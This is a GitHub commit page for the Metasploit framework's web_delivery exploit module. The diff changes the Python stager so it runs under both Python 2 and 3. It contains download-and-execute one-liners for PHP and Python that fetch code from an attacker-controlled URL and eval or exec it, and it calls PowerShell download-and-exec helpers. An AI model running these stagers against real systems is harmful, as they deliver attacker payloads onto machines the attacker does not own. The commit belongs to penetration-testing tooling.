Skip to content

Commit d10b3da

Browse files
committed
Land rapid7#8132, Support Python 2 & 3 for web_delivery
2 parents 6abee7e + 6b3cfe0 commit d10b3da

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,8 @@ def primer
8686
when 'PHP'
8787
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
8888
when 'Python'
89-
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
89+
print_line('Python:')
90+
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
9091
when 'PSH'
9192
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
9293
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)

0 commit comments

Comments
 (0)